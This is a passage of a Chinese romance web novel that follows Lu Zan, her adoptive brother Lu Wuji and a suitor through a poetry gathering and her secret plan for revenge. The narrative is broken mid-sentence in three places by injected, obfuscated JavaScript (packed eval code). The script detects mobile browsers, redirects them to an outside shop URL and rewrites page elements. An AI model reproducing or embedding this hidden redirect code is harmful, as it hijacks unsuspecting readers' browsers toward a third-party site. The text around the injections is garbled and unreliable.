落葵便将衣衫放在一旁,过来为她簪步摇,口中嘟囔道:“那个杨莳,先前纠缠不休,如今说什么见最后一面,一听便是假的。奴婢只怕他心怀不轨……” 陆簪浅浅一笑:“你别总将人想得太坏。” “是姑娘将人想得太好了!”落葵不服。 陆簪垂眸,拿起妆台上那支步摇,指尖轻轻抚过上面镶嵌的蓝宝石,默然不语。 这时,陆无羁的声音自廊下响起:“你要去赴杨莳的宴?” 陆簪回眸,才见他一身竹纹青衫,立在晨光里,手中捧着一扎新摘的梨花,花瓣上还带着露水。 她嫣然一笑:“哥哥来了。” 陆无羁却不接话,绕墙走到门边,眉头微蹙:“落葵所言非虚,那杨莳贼眉鼠眼,声名狼藉,你别去了。” 陆簪却似未闻,起身走到他面前,瞧着他怀中的梨花:“是从院子里折的么,开得这样好。”说着低头深深一嗅,“真香。” 陆无羁将花拿远了些,语气沉了几分:“我与你说话,你可听见?” “听见了。”陆簪一笑。 “那你还去?” “自然要去。” “……”陆无羁噎了一瞬,又道,“我同你一起。” “他只请了我,哥哥去做什么?” “我怕他设下陷阱,图谋不轨。” 陆簪却不以为意,将他怀里的梨花轻轻拿过,转身对落葵道:“快找个瓶子插起来。” 陆无羁跟进房内,又道:“要么不去,要么我同你一起。” 陆簪转头,唇边笑意未减:“哥哥,我希望你信我,我可以处理好。” 她这话便是铁了心要去赴会。 陆无羁心中思量片刻,凝视着她:“难不成,你对他动了心?” 陆簪听罢,只盈盈转了一圈,笑问:“哥哥觉得,我今日这身装扮如何?” 陆无羁眼神微闪:“我在与你说正事。” “我也在与你说正事。” 陆无羁只好答道:“你的眼光,自是不错。” “这便是了。”陆簪笑意更深,“我于穿衣打扮上尚要如此用心,小至一对耳珰,大至一身衣裙,皆要细细挑拣,何况是择一夫君呢?” 她微微仰头,眸光清亮:“我的夫君,旁的暂且不论,这貌美一项,却是绝不能差的。” 落葵闻言,不禁笑道:“姑娘真不知羞。” 陆簪转头望她,俏皮一笑,却不辩驳。 陆无羁闻言,想说些什么,终是抿唇未言,转身便走了。 陆簪见状,便继续梳妆打扮。 拾停当后,陆簪带着落葵一同出了门。 至毓楼雅间坐定,不过一盏茶的功夫,却见杨莳的随从匆匆跑来,满头大汗道:“陆姑娘莫等了,我家公子……来不了了!” 陆簪目光一定。 落葵意会,替陆簪问道:“怎么回事?” “公子在半路上,不知从哪儿冒出个蒙面歹人,将…将公子给打了!”随从连连叹道。 落葵一时惊诧,哑然失声,看向陆簪。 陆簪眼波微转,并未多言,只淡淡道:“既如此,替我问候公子。” 她没有停留,起身离去。 落葵跟在身后,小声问道:“是谁这般大胆,敢做下这等事?” 陆簪神情无恙,不露分毫波澜,随口道:“他那等性子,保不齐结了多少仇家,不奇怪……哎呀……” 主仆二人刚行至门口,话还未说完,却与一人迎头撞上。 陆簪抬眸,只见一位公子,身着与她衣衫颜色相近的湖蓝杭绸直裰,领口与袖口绣着流云纹,头戴白玉玉冠,腰系丝绦,悬着一枚白玉蟠螭佩,手中一柄泥金折扇,面如冠玉,一双桃花眼流转生辉,通身的气派是说不尽的风流潇洒。 察觉撞了人,他下意识便伸手扶住陆簪,连声道歉。 待看清陆簪容貌,眼中霎时掠过惊艳之色,关切地问道:“姑娘无事吧?在下唐突了。” 陆簪退开一步,福身还礼:“无事,公子不必挂怀。”说罢便径直离开。 她莲步轻移,暮春的柳絮萦绕着裙裾,随着她不疾不徐的步调轻旋,那抹纤柔背影很快便融进市井喧嚣之中。 落葵跟在身后,抑不住面露惊喜,悄声道:“方才那位公子,生得可真俊!” 陆簪闻言,眼波微转,抬手轻轻敲了下落葵的额角:“小丫头越发没规矩了,见着个俊俏郎君就这般失态。”她声音柔婉似水,却带着几分警醒,“皮相不过表象,何必这般大惊小怪。” 落葵却不知有没有听进心去,只凑近些,眨着眼压低声音:“奴婢瞧着,他比那杨公子俊俏十倍不止呢!若是这位公子倾心姑娘,姑娘可会……” 话音未落,忽闻身后有人唤道:“姑娘,留步!” 主仆二人回头,只见那蓝衣公子已追至近前:“姑娘烦请留步。” 暮春午后的阳光透过街边淡淡生芽的垂柳,在这公子的肩头洒下细碎光斑,愈发衬得他眉目俊朗。 “是在下冒犯了。小生姓谢,名允,字衡之,京州人士,此番是来临安外祖家小住,方才冲撞了姑娘,心中实在过意不去,不知姑娘家住何处,尊姓芳名,容他日登门致歉。”谢允拱手作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“我也觉得新奇呢,安抚使家的公子被打,说出去可是头一遭的奇闻。”落葵笑道。 松涛飞快地瞥陆无羁一眼,偷笑道:“还真是解气。” 陆簪已净手坐下。 她见桌上摆着几样时令小菜,春笋烧肉盛在白瓷钵里,另有一碟碧绿的凉拌马兰头,淋着香醋,看上去清爽可口,便拿起木箸,小口吃起来,对落葵和松涛的对话恍若未闻。 陆无羁见状也放下书,拿起筷子,眉宇间一片淡漠,显然也对两个小仆的闲谈毫无兴致。 落葵走上前替陆簪布菜,又道:“不过也多亏了杨莳挨打,我们回来时,在酒楼门口遇见一位贵公子,那品貌气度,真是……”她一时想不出词,只啧啧两声。 陆无羁夹菜的手几不可察地顿了顿。 松涛来了兴致:“果真?” “那还有假,不信你问姑娘。” 陆簪终于开口:“好了,你们也快洗手吃饭吧,莫再议论这些了。” 落葵笑嘻嘻应了。 松涛却悄悄瞄了眼自家公子,叹道:“可惜啊,送走一个,又来一个。” “什么?”落葵抬眼问道。 松涛忙道:“没什么没什么,我去把最后一道汤端来。”说着便溜了出去。 陆无羁却忽然放下筷子。 “怎么了公子?”落葵刚净手过来,见状忙关切地问道。 “不饿。”他说罢,起身便走。 陆簪望着他背影,只眉心微动,未置一词,又接着用饭。 饭后,陆簪在房中窗下看书。 不多时,感觉肩上被人披了件薄斗篷,抬头,见是陆无羁,便继续低头翻书。 陆无羁瞧她并未道谢,便在她身旁坐下,见她看得是医术,便好似随口问道:“要配新方子么?” “不是。”陆簪目光未离书卷,“只是觉得爹近来常犯头疾,想看看有无缓解的法子。” 陆无羁便不再言语,从她的案头拿了一本诗集兀自看起。 过了许久,微风拂过,庭中花树摇曳,沙沙作响。 陆无羁觉出凉意,回神,却见陆簪已抱着书卷,歪在引枕上睡着了。 她睡态极静,螓首微侧,露出纤秀的颈子,如玉山将倾般透着易碎的清绝,长睫在眼下投出两道浅浅的影,唇瓣似初绽的芍药含露。 他目光微滞,见她指尖仍虚虚搭着书卷,便俯身轻轻抽出,触手却是一片冰凉,他将书放置一旁。 瞧她睡得沉静,略一思忖,终是把她的双手握入掌心,贴在自己怀中暖着。 8.诗会 斜阳渐沉,日影自窗棂悄然西移,从陆簪的裙裾缓缓漫至肩头。 窗外那株海棠的影子在青砖地上越拉越长,晚风挟着凉意穿堂而过,拂动了陆簪一缕碎发,她感到痒意,在睡梦中无意识地动了动指尖,却察觉双手被人紧握。 迷迷瞪瞪睁开眼时,正见自己的双手被陆无羁护在怀中。 她先是怔了怔,片刻后才指尖微蜷欲要收回:“哥哥,我不冷。” 陆无羁却将她的手稳稳裹住,掌心温热,声音低低淡淡的:“可你的手很凉。” 她转眸望向他,眼波流转间更添坚持,手腕轻轻使力:“哥哥,我已及笄了。” 陆无羁指节微僵,微微顿了片刻,却反将她的手握得更紧,稳稳贴在自己心口,任由那微凉的指尖感受着他胸膛里的跳动:“无妨,我们是兄妹,你未及笄时,我可是常给你暖脚,不必因及笄便生分了。” 陆簪一时无话。 满室寂静,连落花声都清晰可闻。 此时,忽闻有人叩门。 松涛跑去应门,不一会儿到陆簪门前回话:“姑娘,门外有位姓谢的公子,说是姑娘掉了帕子,特来送还。” 陆簪感到握着她的那只手紧了一下。 她看了眼陆无羁,对松涛道:“知道了,你去取来,好生道谢便是。” 松涛却道:“可那位公子说,要亲自交到姑娘手中。” 陆簪沉吟片刻,才道:“既如此,我出去一趟。” 她欲起身,陆无羁却未松手。 “哥哥。”她提醒道。 陆无羁脸色微沉:“我同你一起。”说罢,率先起身,打开了房门,向外走去。 陆簪看着他背影,微微摇头,随即跟上。 陆无羁走到门口,目光如霜刃般落在门外那蓝衣公子身上,暮色渐浓,廊下风灯初上,将他清冷的面容照的晦暗不明。 谢允自然也一眼便望见陆无羁,执着拜帖的手微微一顿,桃花眼里笑意未减,眼底却已凝起三分戒备,不着痕迹地将眼前人从头到脚打量了一番。 “是你拾了我妹妹的手帕?”陆无羁语气疏冷。 谢允听闻是兄长,略顿片刻,方才换上笑容,拱手作揖:“原来是兄长。” 他风度毕现:“正是在下拾得了令妹的手帕。” 话落,见陆簪出来,忙又向她施礼。 陆簪亦福身还礼:“多谢公子送回。” 随即对落葵使了个眼色。 落葵上前,自谢允手中接过帕子,又道:“物归原主,奴婢替我家姑娘多谢公子,公子请回吧。” 谢允听得这逐客令,忙上前半步,袖口带起一阵清雅的檀香:“姑娘且慢。” 他的眸光温润却执着:“三日后西湖畔有场诗会,遍请临安才俊,不知谢某可有这个荣幸,邀姑娘同往品茗赋诗?” 陆簪垂眸抚过袖口缠枝莲纹,声音淡然:“公子说笑了,那般高门雅集,我一介布衣庶民,岂敢叨扰?” “姑娘过谦了。”谢允从袖中取出一枚泥金拜帖,笺上墨迹犹带松烟香,“设宴的乃是在下表兄,最是惜才慕雅,若得姑娘莅临,定然是蓬荜生辉。” 他递帖时指尖微顿,流苏在暮色里摇碎点点金光:“届时自当遣人奉上正式拜帖,断不会失了礼数。” 陆无羁剑眉微蹙,正欲开口回绝,却见陆簪眼波流转,略加思量,竟伸出纤纤玉手接过拜帖,莞尔道:“既蒙公子盛情,小女子却之不恭了。” 谢允眼底霎时绽开惊喜之色。 他还欲再言,陆簪已翩然转身,素色裙裾在风里掠过落英簌簌。 陆无羁怔立原地,望着她渐远的背影,指节不觉收紧,待回过神,立即快步跟上:“那人眉宇间隐有戾气,绝非良善之辈,你不可去。” 他拦住她,语气急促。 陆簪转身,嫣然一笑:“是么?我观谢公子眉目疏朗,气度清华,倒是难得的坦荡君子呢。” 陆无羁周身气息陡然一沉。 他凝着她含笑的眉眼,终是转身拂袖而去。 晚膳时分,陆无羁并未现身。 江雪望着空座,奇道:“无羁怎还不来用饭?” 陆簪执箸夹起一筷笋尖,神色如常:“许是白日里吃多了,还不饿吧。” 江雪与陆风对视一眼,虽觉意外,却也并未多疑,未再多问。 夜深人静,陆簪洗漱完毕,屏退了落葵。 她独坐妆台前,指尖轻轻摩挲着那支忍冬纹银簪,又看向谢允递来的拜帖,轻声呢喃:“娘,或许我是时候再回京州了。” 一语未尽,一滴热泪已滚落腮边,她迅速抬手拭去,深吸一口气,吹熄了灯烛,上床睡去。 约莫一炷香后,陆簪的房门在黑暗中被极轻地推开。 陆无羁悄步走入,借着透窗的月光,凝望榻上安睡的人影。 他在床沿坐下,目光流连在她脸上。 月光描摹着她恬静的睡颜,一时之间让人生出岁月静好的缱绻,他看了许久许久,忽而俯身,极轻地在她唇上印下一吻。 只这一下,陆簪在睡梦中无意识地动了动。 陆无羁惊得起身,隐入床幔后的阴影里。 他屏息凝神,见她只是翻身朝里,呼吸依旧平稳绵长,这才缓缓坐回床沿。 目光再度流连于她背影时,忽而唇角牵起一抹自嘲的弧度,摇头低语:“我既怕你醒,可见你未醒,又觉失望。” 话音方落,那笑意愈深,眼底浮起浓重的自厌。 他抬手扶额,指节微微发白,似要将这不该有的妄念从脑中驱逐。 片刻后,他轻叹一声,和衣躺上床榻,自后轻轻拥住她,将脸埋在她颈窝,迷恋地低嗅她颈间发香,在她耳边极轻地唤了一声:“嗔嗔……” 陆簪在黑暗中悄然睁开眼。 这小名是她及笄那那日所得,彼时她因着簪环沉重,加之落葵手艺不精,扯痛了她的头发,她便赌气将一支步摇掷在妆台上。 江雪正为她整理衣襟,见她难得露出几分小女儿情态,便忍俊不禁,伸手轻点她额间:“怎地年岁大了,却愈发爱耍性子,真是个嗔嗔女儿。” 立在珠帘外的陆无羁闻言,眼尾微扬,踱至她身侧,弯腰看向铜镜里的她:“簪儿并无乳名,我瞧着,嗔嗔二字极妙。” 她执梳的手一顿,自镜中瞋他。 他却已直起身,漫不经心地把玩着案前合欢花钿,问江雪:“母亲觉得如何?” 江雪并不在意这些,随口说好。 自此,这二字便成了他喜欢的称谓。 可每每听到这二字,陆簪总觉他的尾音带着若有似无的缠绵,仿佛在唇齿间细细碾磨过。 那些被他气息拂过的夜晚,那些藏在兄妹名分下的亲昵,此刻都化作心口细细密密的酸胀。 她悄悄将脸埋进锦被,闻着他身后渡来的冷松香,终是阖上眼眸,任由那声呼唤在夜色里慢慢沉淀。 三日之期很快便至。 西湖畔。 垂柳蘸波,碧桃临水,画舫如织,弦歌不绝。 陆簪扶着落葵的手下了马车,方见设立诗会的亭阁中早已聚集了众人,男女同席,衣香鬓影,谈笑风生。 她今日穿着一身月白底绣淡紫藤萝的长裙,外罩浅白纱衣,发间只簪一支素银簪子并几朵细小珠花,妆容清淡,却越发显得气质清雅出尘。 她的出现,让原本喧嚣的亭阁霎时静了一瞬。正在与友人谈笑的谢允抬眼望去,当即放下手中的青玉杯盏,穿过人群快步迎来。 “陆姑娘。”他在她面前站定,郑重作揖,“今日芳驾光临,真令这湖山增色。” 陆簪敛衽还礼:“谢公子谬赞了。” 谢允侧身引她往主宾席走去,温声向席间众人介绍:“诸位,这位是陆姑娘。”他略顿,目光扫过在场宾客,含笑补充,“是由在下相邀前来。” 席间多双目光不住打量着陆簪,一绛紫锦袍的文士抚须问道:“观姑娘气度清华,想必家学渊源,不知府上是?” 陆簪浅笑答礼:“小女姓陆,家父在城西经营药铺。” 起先,那些贵女们见她容貌不俗,尚有几分赞叹钦羡,这话一出,席间几位贵女交换了眼神, 便或多或少露出了轻蔑与惋惜之色。 一位穿着胭脂红遍地金裙衫的姑娘以团扇掩唇,对身旁同伴低语:“原是个商贾之女。” 倒是几位年轻公子依旧目光灼灼,其中一位绿衣少年笑道:“陆姑娘这般品貌,便是放在京中世家闺秀里也不遑多让,今日诗会得姑娘莅临,实乃幸事。” 谢允适时接过话头,含笑环视众人:“方才诸位不是还在说,今日这诗会缺了灵气?如今可还觉得缺么?” 众人皆笑,方才些许微妙顿时消散在融融春意里。 忽而,又一阵喧哗。 是通判家的崔月奴到了。 而她身旁并肩而来的,竟是陆无羁。 陆簪微怔,朝他望去。 但见他墨发半束,以一根青玉色发带松松系着,身着月白软罗衣袍,领口袖缘绣着青色竹纹,腰束素色锦带,通身不见半点奢华,却如青竹临风,新雪初霁。 崔月奴满面春风,能为难请的陆家玉郎做伴,显然极是得意,贵女们见陆无羁到来,个个眼波流转,粉面生晕,交头接耳间尽是倾慕。 谢允见状,眼中掠过一丝诧异,上前两步拱手道:“陆兄也来了?” 随即转向崔月奴,语气带着几分探究:“月奴,你与陆兄原是旧识?” 陆簪这才恍然,原来这谢允和崔月奴竟是兄妹,想必提到的外祖家,便是崔家。 崔月奴回了句什么,陆簪并未细听,只念,既知晓谢允身份,想必不难打听到他家中在京州是何官职。 那边,陆无羁对谢允微微颔首,旋即将目光直直地落在陆簪身上,淡淡道:“既然妹妹也来了,便同我一起入席吧。” 谢允目光在他二人之间转了转,唇角笑意微凝。 崔月奴却浑然未觉,笑着附和:“那是自然,兄妹理应坐一处的。” 于是四人同席,临水而坐。 侍者端上今春新焙的龙井,青瓷盏中茶烟袅袅,别有一番风雅。崔月奴主动请缨,执起那越窑秘色茶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823487|190756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 壶,纤指轻点,为众人分茶,水声泠泠间眼波不时飘向身侧的陆无羁。 茶过三巡,湖风拂动垂柳,带来远处画舫的笙箫声,座中一位文士抚掌笑道:“春色如许,不可无诗。” 众人闻言便知诗会正式开始。 文士又道:“不若以‘春’为题,依次赋诗可好?” 众人自然没有异议。 一位素有才名的王公子率先吟诵一首,而后崔月奴接上。 此二人,诗句工稳,却如临摹古画,既未得春神之韵,又未脱前人窠臼。 直到谢允执扇轻击掌心,从容吟诵:“掩扉岂识春光佳,柳梢欲暗可藏鸦。波水新如鸭头绿,桃腮照眼忽惊花。” 话音方落,满座皆惊。 席间文士老儒纷纷拊掌赞叹,连称妙极!贵女们更是交头接耳,望向谢允的目光中平添几分仰慕之情。 轮至陆簪,她略一沉吟,清声念道:“新绿抽林共瓦齐,乱红飞过小帘西。流莺不管春来去,只向深丛恰恰啼。” 语毕,恰好听见鸣清脆,穿帘而入,众人不想陆簪词句清丽,意境幽远,诗才远在谢允之上,席间顿时一片寂静,继而赞叹四起。 谢允看向她的目光里,更是倾慕难遮。 陆无羁也听鸟鸣之声悦耳,仿佛带来了整个春天的生机,便吟道:“鸟啭入帘春欲破,茶香侵梦日初长。轻桡定赴山阴约,且唤狂生奉酒觞。” 但见湖风乍起,吹得陆无羁衣袍猎猎,他声音清冷如玉磬,恍若诗句中欲出的侠气凌空而至,诗意开阔,物我两忘,令满座皆惊。 作为东道的谢允表兄笑道:“允弟素来文武双全,如今可被人比下去了?” 谢允执扇浅笑:“表兄说笑了,陆兄诗才如虹,在下不过萤火之光,岂敢与皓月争辉?” 席间一位锦衣公子立即附和:“谢兄过谦了,谁不知您以‘剑舞诗三绝’闻名?今日若能得见,实乃三生有幸!” 众人闻言纷纷叫好,几位名士也露出期待之色。 谢允推辞不过,含笑起身:“既如此,在下便献丑了。” 谢允执剑行礼,旋即身形一展,衣袂翻飞间,他朗声长吟:“少年十五二十时,步行夺得胡马骑。射杀山中白额虎,肯数邺下黄须儿。” 他的剑势看似舒缓,却令满座衣袂无风自动。 当吟至“一身转战三千里”时,剑尖轻挑,地上的梨花瓣竟在空中排成雁阵,他念“一剑曾当百万师”那些花瓣倏然四散,如飞雪般萦绕在他周身。 满座宾客俱已惊叹起身! 但见他轻抚剑锋,最后两句诗随着收势的动作缓缓流淌:“莫嫌旧日云中守,犹堪一战取功勋。” 满座寂然,片刻后,喝彩如雷动。 陆簪端坐席间,睫羽微垂。 她虽然只会一些防身之术,可却常看陆风和陆无羁练剑,方才一眼便看出谢允的剑光流转处暗含罡风,虽是表演助兴之舞,犹然能看出剑术造诣深不可测,较之陆无羁的凌厉剑势,更多三分绵里藏针的机巧。 她一时默默,正思忖间,谢允已收剑行至面前。 她抬眸,换上恰到好处的浅笑:“谢公子剑器精妙,诗才超逸,当真令人叹为观止。” 谢允作揖道:“陆姑娘谬赞了。” 陆无羁见状,默然起身,竟拿起谢允放下的剑,也到人前舞起。 他的剑势迅疾如电,凌厉如风:“赵客缦胡缨,吴钩霜雪明。”话音未落,剑势陡然转急,剑锋破空之声应和着第二句,“银鞍照白马,飒沓如流星。” 剑尖挑起满地落英,在春日下绽出缤纷花雨,他纵身跃上石栏,青锋遥指湖面,吟道:“十步杀一人,千里不留行。” 最后一个剑花挽起时,足尖轻点栏杆,翩然落地的瞬间收剑入鞘,余音犹在亭台间回荡:“事了拂衣去,深藏身与名。” 诗毕剑收,满场寂然,旋即爆发出比谢允舞剑后更为热烈的喝彩。 谢允目光灼灼,上前一步问道:“陆兄好风采,不知师从何人,有此等文武之才,为何不考取功名,报效朝廷?” 陆无羁淡然道:“闲云野鹤,不敢妄谈功名。” 谢允却凝着他,猛然想起什么,惊喜道:“陆兄这般风姿气度,在下只在一人身上见过。” 众人好奇追问:“是谁?” 谢允折扇轻叩掌心,眼底掠过一丝深意:“不提也罢。” 陆簪总觉今日的陆无羁太过锋芒毕露,这等招摇正是爹娘千叮万嘱要避讳的,思及此,她不动声色地攥紧了袖中的绢帕,即刻起身,对陆无羁柔声说道:“我忽觉有些头晕,想是吹风久了,可否劳烦哥哥送我回去?” 说着,已伸手轻轻拉住了陆无羁的衣袖。 陆无羁望她一眼,心中会意,顺势向众人告辞。 满座宾客目送他们兄妹二人的身影消失在垂柳深处,亭阁间一时寂然,仿佛湖光山色都失了颜色。 不知是谁,喃喃一句:“惊鸿照影,不过如是。” 谢允执扇的手缓缓垂下,看湖风卷着零落花瓣,想起陆无羁与陆簪并肩远走的身影,目光闪过一抹幽然之色。 9.接吻 这日归家后,陆簪总觉心有不安。 她深知江雪最忌讳陆无羁在人前显露锋芒,可他偏生在诗会上大放异彩,这般想着,不知该不该将此事告知江雪。 烛火在纱罩里明明灭灭,她倚在窗前,望着天边那弯新月,直待到星子渐稀,方才卧下,却仍是辗转难眠。 次日晨光初透,叩门声便响起。 落葵小跑着去应门,回来时手里捧着一束沾着露水的桃花:“姑娘,谢公子来了,说是城南花开正好,想邀姑娘去踏青。” 陆簪正在对镜梳妆,头也不回:“把花送回去,就说我身子不适。” 落葵低头嗅了嗅那桃花枝,露出惋惜之色,却还是去回绝了。 第二日清晨,同样的叩门声再次传来,这次仍是几枝初绽的桃花,粉白的花苞上晨露未干,陆簪望也没望,依旧命人婉拒。 到了第三日,陆簪正在院中侍弄花草,听到叩门声响起,她迟疑片刻,还是亲自去开了门。 谢允今日执一束新摘的玉兰,皎白的花瓣在晨光中微微透明。 见她终于露面,他眼睛一亮,将花递上前:“今早同兄长在拂云岭奔马,见山间玉兰开得正好,想着你定会喜欢。” 陆簪瞥了眼花束,轻声道:“多谢公子美意。” 谢允将玉兰递上,眸光清亮:“春色易逝,唯恐辜负,不知姑娘可否……” 陆簪未等他话落,仍摇首道:“家中诸事缠身,实在不便同游。”言毕,又将花接过,温声道,“花我收下了。” “无妨。”谢允含笑,“能见姑娘一面,已是幸事。” 这边谢允对陆簪殷勤相邀,日日不辍。 与此同时,茶楼酒肆间,文人墨客们争相传诵陆无羁当日在诗会上吟咏的诗句,他的诗名在临安城愈传愈广。 这日松涛从市集归来,提着新买的蜜煎果子,笑道:“如今公子画像已涨至五十两一幅,那谢公子的却只卖十两!” 陆无羁执书的手顿了顿,目光扫过正在插花的陆簪,见一片玉兰瓣飘落案几,他未发一语,只将书页翻得哗啦作响。 丝毫不知,陆簪心中那点不安愈发清晰起来。 用过饭后,她去寻江雪小坐。 穿过回廊,见江雪独坐梨树下,石案上温着酒,灯笼在晚风中轻摇,映得她侧影格外安闲。刘妈妈正捧着茶点侍立一旁,见陆簪来了,含笑退下。 “娘。”陆簪走近轻唤。 江雪伸手牵她:“正觉独饮无趣,可巧你来了。” 江雪顺手取来一只未用的酒盏,将清酒徐徐斟入。 见盏中酒液漾起一圈琥珀色的流光,她笑:“去岁我在梨树和海棠树下各埋酒一坛,海棠花下那一翁,取名‘流霞’,梨花树下这一坛,取名‘雪腴’,今日刚开坛,你快尝尝。” 陆簪素知江雪性灵情致,总爱在寻常物事中点染诗心。 庾信有诗“愁人坐狭邪,喜得送流霞”便是流霞酒的出处,而“雪腴”二字,则出自范成大《次韵子文探梅水西》中“酒红沁骨晕春霞,雪腴沁水沉山木”。 可她今日前来,却不为饮酒作对。 陆簪笑意未达眼底,只举杯浅啜一口,顿觉清冽甘醇,赞道:“果真是好酒。” 江雪凝眸看她,只觉她的笑意与往日不同,略一思量,问道:“你有话要说?” 陆簪执盏的手微紧,她正不知要如何开口,好在江雪主动递来话头,她便索性将诗会之事细细道来。 江雪听罢,眉间渐锁愁云,静默下来。 不知过了多久,她忽然喃喃道:“我总觉得心中不安。”她看着杯中酒,“这般太平日子过久了,倒似那温水煮蛙。” 陆簪随着江雪的目光,也看向酒盏,梨瓣飘落酒水里,好似雪屑。 这让她忆起两年前的大雪纷纷。 那时,江雪因她胸前胎记确定她的身份,自称是母亲闺中密友,拿出一方手帕,那帕角绣纹竟与她银簪上的如出一辙。母亲闺名忍冬,平生素爱忍冬,这花纹一看就是出于母亲之手。于是二人相认。 但当时她便觉得,江雪与陆风身上一定背负着什么秘密。这些年来,她见江雪与陆风行事谨慎,每逢陌生人来访总要闭门谢客,对陆无羁的言行举止更是严加管束,心中那个猜测便愈发清晰。 思忖片刻,陆簪决定于今日问出那深藏已久的疑惑:“母亲,哥哥年已十七,为何从不曾听您与爹爹提起科考之事?” 江雪神色骤凝,指尖轻抚酒盏纹路:“簪儿,你素来聪慧,当知有些事不必深究。” 陆簪垂首:“是女儿僭越了。” 江雪见她乖顺,不由得深深凝睇着她,许久,抬手轻抚她鬓发:“我们簪儿长大了,到了该谈婚论嫁的年纪了。” 她笑:“你来家中两年,带来两年人间烟火,娘很感激你带来的岁月静好。可前路未知,你已长成,实在不必跟随我们继续漂泊了。” 陆簪抬眸望向江雪,张了张口,千言万语在喉间翻滚,最终却只是静静凝视着这个待她如亲生的妇人。 片刻后,她起身整了整衣裙,郑重地跪在江雪面前,声音哽咽:“母亲……” 江雪见她这般情状,心中已然明了:“所以,你心里也是这样打算,是吗?” 她今日寻来,虽是为陆无羁在临安城风头过盛而忧惧,骨子里又何尝不是想借这个由头,将自己的打算缓缓铺陈开来。 她就是这般心思九曲的女子。 陆簪抬起头,泪珠顺着脸颊滚落:“母亲心如明镜。”她苦笑道,“女儿不怕随陆家江湖飘摇,只是不报家仇,不得往生!” 江雪眼中情绪翻涌。 这两年每每年关祭祖,陆簪总是不肯跪拜,她便知她的心事。她只轻声问:“你打算如何行事?” “不瞒母亲,当初提议来临安,女儿存了私心。因为只有临安这样的通都大邑,最易结交权贵。我这两年也一直在暗暗留意,想从那些示好的公子贵人中,择一条回京的捷径,如今,通判家的外孙谢公子,正是一条好门路。”陆簪低声道。 她抬起眼帘,眸中似有光亮在明明灭灭:“那谢允,我同他接触过,从他言谈举止便知他绝非泛泛之辈。而那日诗会,我冷眼瞧着众人奉承的架势,更确定他来历不凡,后来让落葵细细打探,才知他家中权势,竟比临安任何官员都要显赫。” 江雪闻言,只觉咋舌。 她早知陆簪心思深沉,却不想当初未满十四岁的她,就已在暗处织就这样细密的网。 心口像被浸了醋的棉絮堵着,既疼惜她步步为营的艰难,又惶然于这般工于心计的磋磨。 半晌,终长叹一声:“原来你早已谋划周全。” 陆簪心头一颤。 她听这一句,便知江雪目光如炬,已将她那点心思看得分明。 纵然这些年朝夕相处,初时那点戒备与算计,早被岁月酿成了真心实意。 可她这样的人,真心实意四字,又算得了什么。 红尘万丈于她,早已灰飞烟灭。 江雪见陆簪不语,不由得眼眶渐渐湿润。 复仇之路危机重重,注定刀尖舔血,可陆簪性子强硬,怕是早已拿定主意,江雪思量再三,却也只能扶起她:“既然如此,娘不拦你,只因人各有命,强求不得。” 江雪端起酒盏一饮而尽:“你爹那里我自会去说,只是无羁那孩子……”她顿了顿,“他表面淡然,实则偏执,你要想好如何与他告别。” 陆簪心口一阵剧痛,半晌无言。 “无羁本就是一颗耀目的明珠,即便我再三遮掩,也挡不住他的光芒。”江雪抬头望向明月,“他在临安声名鹊起,反倒让我寝食难安,不如就以一个月为期,我料理药铺事宜,你筹备返京之事。届时……便各奔前程罢。” 江雪从来都是一个拿得定主意的女子。 陆簪闻言,深感她行事之果决。 于是再次深深下拜:“母亲,无论将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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后来她贪恋那点温暖,默许了他种种越矩的照拂。 如今她决心正式踏上复仇之路,身为女子不能入阁拜相,回京州后唯有以自身为刃,此行必将身若飘萍,或入谢允之怀,或傍其他权贵,甚至可能深锁宫闱。 既注定此身破败,既早已封心锁爱,既对陆家无以为报……何不成全他这一番情意。 “啪”的一声,烛花爆响。 她放下最后一支不离身的银簪,起身执起小银剪,细细剪去那截焦黑的灯芯,而后走到床边,轻声道:“哥哥,我要更衣了。” 陆无羁执棋的手微微一滞,知道再不能停留,只得起身嘱咐道:“关好门窗。” 他转身欲走,她却忽然唤住:“哥哥可否帮我宽衣?” 他怔在原地,见她静静立在烛影里,青丝如瀑垂至腰际,一双眸子蒙着薄薄水雾,眼尾微微泛红,竟比那桌台上的桃花更染三分娇。 他喉结微动,才低应一声。 走近时闻见她发间清幽的杜若香气,指尖触到腰间丝绦,他不觉指尖发颤。 外衫徐徐滑落,露出浅碧色抹胸上绣着的缠枝莲纹,细腻丝帛勾勒出玲珑曲线,她的青丝随着动作轻轻晃动,几缕发丝拂过他手腕,他不动声色地顿了一顿,额角已沁出细汗。 他转身把她的衣衫搭上屏风,正要回身告辞,却觉一股温热自身后贴近。 他转身,却见她竟跟着他走了过来,就站在他方寸之间。 他怔了怔,才道:“去睡罢。” 她却不答,只仰着脸静静望他,眸中水光潋滟,似有千言万语在其中流转。 他心尖微颤,又放柔几分声音,关怀道:“别冻着了,嗔嗔。” 她却忽然踮起脚尖,双臂攀上他的肩膀,将一记吻印在他唇上。 10.湿透 这个吻来得突然。 陆无羁七魂六魄仿佛都在这一瞬间被震得粉碎。 他脑海中一片空白,唯余唇上那抹温软的触感让他心若擂鼓。 待他回过神来,双臂已不自觉地环上她的纤腰,将人往怀里带了带。 